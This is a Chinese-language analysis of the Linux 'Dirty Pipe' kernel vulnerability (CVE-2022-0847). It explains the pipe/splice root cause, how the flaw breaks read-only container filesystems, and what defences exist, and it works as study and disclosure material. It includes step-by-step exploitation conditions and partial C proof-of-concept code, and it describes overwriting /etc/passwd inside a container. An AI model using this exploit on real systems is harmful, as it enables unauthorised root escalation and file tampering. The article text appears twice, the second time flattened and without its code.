CVE-2022-0847:脏管道漏洞分析及对容器的影响
字数 1730 2025-08-27 12:33:37

CVE-2022-0847:脏管道漏洞分析与容器安全影响

漏洞概述

CVE-2022-0847,又称"Dirty Pipe"(脏管道)漏洞,是Linux内核5.8及之后版本中存在的一个任意文件覆盖漏洞。该漏洞允许普通用户本地提权至root特权,与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似。

影响范围:Linux内核5.8(由补丁f6dd975583bd引入)至5.16.11、5.15.25、5.10.102之间的版本。

漏洞原理

核心机制

漏洞源于内核管道(pipe)子系统中的一个变量未初始化问题,具体表现为:

  1. 管道缓冲区标志未初始化pipe_buffer.flags变量在某些情况下未被正确初始化
  2. 页面缓存篡改:利用splice()系统调用实现"零拷贝"时,文件缓存页(page cache)会被错误地标记为可合并(PIPE_BUF_FLAG_CAN_MERGE)
  3. 后续写入漏洞:被错误标记的页面缓存可以在后续pipe操作中被续写,导致文件内容被篡改

关键技术组件

管道(Pipe)机制

管道是Linux内核提供的进程间通信方式,通过pipe/pipe2函数创建,返回两个文件描述符(读端和写端)。关键函数:

  • pipe_read():管道读函数
  • pipe_write():管道写函数

pipe_write()的关键逻辑:

if (chars && !was_empty) {
    unsigned int mask = pipe->ring_size - 1;
    struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask];
    int offset = buf->offset + buf->len;
    
    if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) &&
        offset + chars <= PAGE_SIZE) {
        // 如果PIPE_BUF_FLAG_CAN_MERGE标志存在且写入不跨页,则续写
        ret = pipe_buf_confirm(pipe, buf);
        ret = copy_page_from_iter(buf->page, offset, chars, from);
        buf->len += ret;
    }
}

buf->flag默认初始化为PIPE_BUF_FLAG_CAN_MERGE,表示允许页面续写。

Splice系统调用

splice()实现了"零拷贝"文件传输:

  1. 不直接复制文件数据到用户空间,而是将文件页面缓存(page cache)以索引方式(内存页框地址、偏移量、长度)复制到pipe_buffer结构体
  2. 避免了内核空间到用户空间的数据拷贝
  3. 漏洞利用的关键:将文件页面缓存错误地标记为可合并

漏洞利用

利用条件

  1. 目标文件必须有可读权限
  2. 写入不能改变文件大小
  3. 偏移量不能位于页面边界
  4. 写入不能跨页面边界

利用步骤

  1. 创建pipe
  2. 使用任意数据填充管道(填满Pipe的最大空间)
  3. 清空管道内数据
  4. 使用splice()读取目标文件(只读)的1字节数据发送至pipe
  5. write()将任意数据继续写入pipe,此数据将会覆盖目标文件内容

PoC关键代码

// 准备带有PIPE_BUF_FLAG_CAN_MERGE标志的pipe
static void prepare_pipe(int p[2]) {
    if (pipe(p)) abort();
    const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
    static char buffer[4096];
    
    // 填满pipe
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        write(p[1], buffer, n);
        r -= n;
    }
    
    // 清空pipe
    for (unsigned r = pipe_size; r > 0;) {
        unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
        read(p[0], buffer, n);
        r -= n;
    }
}

// 主利用函数
int main(int argc, char **argv) {
    // ...参数处理...
    
    // 打开目标文件(只读)
    const int fd = open(path, O_RDONLY);
    
    // 准备pipe
    int p[2];
    prepare_pipe(p);
    
    // splice一个字节到pipe
    --offset;
    ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
    
    // 写入要篡改的数据
    nbytes = write(p[1], data, data_size);
    
    // ...清理...
}

对Linux容器的影响

容器文件系统特性

  1. 分层结构:容器镜像由一组只读层组成,运行时添加读写层(COW)
  2. 只读模式:可以以--read-only启动容器,省略读写层
  3. 临时性:停止容器时,读写层会被删除

漏洞影响表现

  1. 绕过只读限制:即使容器以只读模式运行,也能修改文件系统
  2. 持久性影响:修改会影响到基于同一镜像的新容器
  3. 跨容器影响:多个共享基础镜像的容器会同时受到影响

实际影响演示

  1. 构建包含exp的容器镜像
  2. 以只读模式启动容器,验证无法直接修改文件
  3. 运行exp修改/etc/passwd等关键文件
  4. 退出后重新启动容器,验证修改仍然存在
  5. 多个容器共享同一基础镜像时,一个容器的修改会影响其他容器

防御措施

  1. 内核升级:升级到已修复版本(5.16.11、5.15.25、5.10.102或更高)
  2. 容器安全
    • 避免使用受影响内核版本运行容器
    • 即使使用只读模式也无法完全防御此漏洞
    • 考虑使用虚拟机提供更强隔离
  3. 权限控制
    • 最小化文件可读权限
    • 使用文件系统扩展属性增强保护

参考资源

  1. 漏洞披露:https://dirtypipe.cm4all.com/
  2. 详细分析:https://github.com/chenaotian/CVE-2022-0847
  3. 内核修复补丁:commit 9d2231c5d74e13b2a0546fee6737ee4446017903

总结

CVE-2022-0847是一个严重的内核级漏洞,它打破了Linux系统中基本的权限边界,允许低权限用户修改只读文件。对于容器环境而言,这个漏洞特别危险,因为它可以绕过容器的只读文件系统保护,影响容器镜像的完整性。这再次证明了容器共享内核架构的安全局限性,在需要强隔离的场景中,应考虑结合虚拟机技术提供更全面的保护。

CVE-2022-0847:脏管道漏洞分析与容器安全影响 漏洞概述 CVE-2022-0847,又称"Dirty Pipe"(脏管道)漏洞,是Linux内核5.8及之后版本中存在的一个任意文件覆盖漏洞。该漏洞允许普通用户本地提权至root特权,与之前出现的DirtyCow(CVE-2016-5195)漏洞原理类似。 影响范围 :Linux内核5.8(由补丁f6dd975583bd引入)至5.16.11、5.15.25、5.10.102之间的版本。 漏洞原理 核心机制 漏洞源于内核管道(pipe)子系统中的一个变量未初始化问题,具体表现为: 管道缓冲区标志未初始化 : pipe_buffer.flags 变量在某些情况下未被正确初始化 页面缓存篡改 :利用 splice() 系统调用实现"零拷贝"时,文件缓存页(page cache)会被错误地标记为可合并(PIPE_ BUF_ FLAG_ CAN_ MERGE) 后续写入漏洞 :被错误标记的页面缓存可以在后续pipe操作中被续写,导致文件内容被篡改 关键技术组件 管道(Pipe)机制 管道是Linux内核提供的进程间通信方式,通过 pipe/pipe2 函数创建,返回两个文件描述符(读端和写端)。关键函数: pipe_read() :管道读函数 pipe_write() :管道写函数 pipe_write() 的关键逻辑: buf->flag 默认初始化为 PIPE_BUF_FLAG_CAN_MERGE ,表示允许页面续写。 Splice系统调用 splice() 实现了"零拷贝"文件传输: 不直接复制文件数据到用户空间,而是将文件页面缓存(page cache)以索引方式(内存页框地址、偏移量、长度)复制到 pipe_buffer 结构体 避免了内核空间到用户空间的数据拷贝 漏洞利用的关键:将文件页面缓存错误地标记为可合并 漏洞利用 利用条件 目标文件必须有可读权限 写入不能改变文件大小 偏移量不能位于页面边界 写入不能跨页面边界 利用步骤 创建pipe 使用任意数据填充管道(填满Pipe的最大空间) 清空管道内数据 使用 splice() 读取目标文件(只读)的1字节数据发送至pipe write() 将任意数据继续写入pipe,此数据将会覆盖目标文件内容 PoC关键代码 对Linux容器的影响 容器文件系统特性 分层结构 :容器镜像由一组只读层组成,运行时添加读写层(COW) 只读模式 :可以以 --read-only 启动容器,省略读写层 临时性 :停止容器时,读写层会被删除 漏洞影响表现 绕过只读限制 :即使容器以只读模式运行,也能修改文件系统 持久性影响 :修改会影响到基于同一镜像的新容器 跨容器影响 :多个共享基础镜像的容器会同时受到影响 实际影响演示 构建包含exp的容器镜像 以只读模式启动容器,验证无法直接修改文件 运行exp修改 /etc/passwd 等关键文件 退出后重新启动容器,验证修改仍然存在 多个容器共享同一基础镜像时,一个容器的修改会影响其他容器 防御措施 内核升级 :升级到已修复版本(5.16.11、5.15.25、5.10.102或更高) 容器安全 : 避免使用受影响内核版本运行容器 即使使用只读模式也无法完全防御此漏洞 考虑使用虚拟机提供更强隔离 权限控制 : 最小化文件可读权限 使用文件系统扩展属性增强保护 参考资源 漏洞披露:https://dirtypipe.cm4all.com/ 详细分析:https://github.com/chenaotian/CVE-2022-0847 内核修复补丁:commit 9d2231c5d74e13b2a0546fee6737ee4446017903 总结 CVE-2022-0847是一个严重的内核级漏洞,它打破了Linux系统中基本的权限边界,允许低权限用户修改只读文件。对于容器环境而言,这个漏洞特别危险,因为它可以绕过容器的只读文件系统保护,影响容器镜像的完整性。这再次证明了容器共享内核架构的安全局限性,在需要强隔离的场景中,应考虑结合虚拟机技术提供更全面的保护。